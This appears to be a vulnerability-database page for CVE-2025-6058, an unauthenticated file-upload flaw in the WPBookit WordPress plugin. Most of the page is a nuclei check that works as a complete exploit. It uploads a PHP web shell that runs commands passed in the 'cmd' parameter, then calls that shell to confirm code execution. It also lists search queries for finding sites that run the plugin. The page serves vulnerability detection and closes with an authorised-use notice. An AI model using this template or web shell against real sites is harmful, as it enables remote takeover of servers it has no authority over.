HexBrain

Browse / CVEs / CVE-2025-6058

CVE-2025-6058

WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload

criticalseverity
6.2%likelihood of exploitation, next 30 days
94%of all CVEs are less likely
Readycheck to confirm it

The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.

Impact

Unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.

Fix

Fixed in 1.0.5

How to confirm it

Send: GET /wp-content/plugins/wpbookit/README.txt
Positive when: status_code == 200 and contains(body, "WPBookit")
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(body, "success","status")
Send: GET /wp-content/uploads/{{month}}/{{filename}}.php?cmd={{cmd}}
Positive when: status_code == 200 and regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\) groups=\\d+\\([^)]+\\)", body)

Run it with nuclei: nuclei -id CVE-2025-6058 -u <target>

The full check
id: CVE-2025-6058

info:
  name: WPBookit <= 1.0.4 - Unauthenticated Arbitrary File Upload
  author: pussycat0x
  severity: critical
  description: |
    The WPBookit plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the image_upload_handle() function hooked via the 'add_booking_type' route in all versions up to, and including, 1.0.4.
  impact: |
    Unauthenticated attackers to upload arbitrary files on the affected site's server which may make remote code execution possible.
  remediation: Fixed in 1.0.5
  reference:
    - https://wordpress.org/plugins/wpbookit/
    - https://github.com/Nxploited/CVE-2025-6058
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wpbookit/wpbookit-104-unauthenticated-arbitrary-file-upload
  classification:
    epss-score: 0.06223
    epss-percentile: 0.93591
  metadata:
    verified: true
    max-request: 1
    publicwww-query: "/wp-content/plugins/wpbookit/"
    fofa-query: body="/wp-content/plugins/wpbookit/"
  tags: cve,cve2025,wordpress,wpscan,wpbookit,intrusive,file-upload,wp,vuln


variables:
  payload: '<?php echo "<br>"; if(isset($_GET["cmd"])){ echo "<pre>"; system($_GET["cmd"]); echo "</pre>"; } ?>'
  cmd: 'id'
  month: '{{date_time("%Y/%M")}}'
  filename: "{{to_lower(rand_base(5))}}"
  string: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET /wp-content/plugins/wpbookit/README.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "WPBookit")'
        condition: and
        internal: true

  - raw:
      - |
        POST /wp-admin/admin-ajax.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW

        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="action"

        wpb_ajax_post
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="route_name"

        add_booking_type
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="title"

        {{string}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="booking_type"

        {{string}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW
        Content-Disposition: form-data; name="cover_image_img"; filename="{{filename}}.php"
        Content-Type: application/octet-stream

        {{payload}}
        ------WebKitFormBoundary7MA4YWxkTrZu0gW--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "success","status")'
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/{{month}}/{{filename}}.php?cmd={{cmd}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("uid=\\d+\\([^)]+\\) gid=\\d+\\([^)]+\\) groups=\\d+\\([^)]+\\)", body)'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from